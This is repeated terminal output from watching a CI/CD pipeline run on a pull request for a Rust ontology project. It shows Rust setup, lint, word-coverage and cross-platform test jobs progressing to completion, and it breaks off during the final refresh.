issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n* Lint and Format Check (ID 86613944301)\\n* Test (ubuntu-latest) (ID 86613944392)\\n* Test (windows-latest) (ID 86613944394)\\n* Test (macos-latest) (ID 86613944467)\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  * Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  * Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n* Test (ubuntu-latest) (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build CLI\\n  * Check word coverage of README.md\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n* Ontology Word Coverage (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  * Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Run actions/checkout@v6\\n* Test (macos-latest) (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  * Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Run tests\\n  * Run doc tests\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 1 minute ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Lint and Format Check (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  * Install rust-script\\n  * Cache cargo registry\\n  * Check formatting\\n  * Run Clippy\\n  * Check file size limit\\n  * Post Run actions/checkout@v6\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n* Test (windows-latest) (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc 